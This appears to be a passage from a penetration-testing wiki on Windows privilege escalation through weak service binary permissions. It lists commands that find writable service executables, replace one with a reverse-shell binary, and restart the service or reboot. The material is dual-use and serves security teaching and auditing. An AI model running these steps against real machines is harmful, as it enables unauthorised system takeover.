Weak File/Folder Permissions
MITRE ATT&CK™ Hijack Execution Flow - Technique T1574
Theory
Practice
Service Binary Hijacking
CMD
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"PowerShell
Get-WmiObject Win32_Service | ForEach-Object { $serviceName = $_.Name; $path = $_.PathName; $startName = $_.StartName; if ($path -ne $null -and $path -ne "") { $formattedPath = if ($path -match '.*\.exe') { if ($path -match '^"(.+?\.exe)') { $matches[1] } else { $path -replace '^(.*\.exe).*', '$1' } } else { $path }; $acl = try { Get-Acl -Path $formattedPath -ErrorAction Stop } catch { $null }; if ($acl -ne $null) { $relevantACE = $acl | Select-Object -ExpandProperty Access | Where-Object { $_.FileSystemRights -match 'Write|FullControl|Modify' }; if ($relevantACE) { [PSCustomObject]@{ ServiceName = $serviceName; FormattedPath = $formattedPath; StartName = $startName; ACL = $relevantACE | Select-Object -Property IdentityReference, FileSystemRights | Format-List | Out-String } } } } } | Sort-Object -Property FormattedPath -Unique | Format-ListPowerUp
. .\PowerUp.ps1
Get-ModifiableServiceFilewinPEAS
winPEASx64.exe servicesinfo# Backup the binary
copy /y "c:\Program Files\File Permissions Service\filepermservice.exe" c:\Temp\filepermservice_backup.exe
# Hijack the binary
copy /y c:\Temp\reverse.exe "c:\Program Files\File Permissions Service\filepermservice.exe"#Using wmic
wmic service <Service_Name> call stopservice
wmic service <Service_Name> call startservice
#Using net
net stop <Service_Name> && net start <Service_Name>
#Using sc.exe
sc stop <Service_Name>
sc start <Service_Name>#Exemple of getting StartMode for MySVC
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'MySVC'}
#Reboot
shutdown /r /t 0 Service DLL Hijacking


Resources
Last updated